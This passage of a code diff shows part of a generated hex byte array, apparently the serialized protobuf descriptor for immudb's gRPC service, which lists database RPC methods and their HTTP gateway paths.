0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, + 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, + 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, + 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, + 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, + 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, + 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, + 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, + 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, + 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, + 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, + 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, + 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, + 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, + 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, + 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, + 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, - 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, - 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x1c, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x22, 0x0e, - 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, 0x74, 0x68, 0x3a, 0x01, - 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, + 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, + 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, + 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, + 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, + 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, + 0x72, 0x79, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x12, + 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x14, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, + 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, + 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, + 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, + 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x15, 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, + 0x61, 0x64, 0x64, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, + 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, + 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x3a, + 0x01, 0x2a, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x5b, 0x0a, + 0x0e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, + 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, + 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x13, 0x3a, 0x01, 0x2a, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x77, 0x69, 0x74, 0x68, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, - 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0c, - 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, - 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, - 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x55, 0x6e, - 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 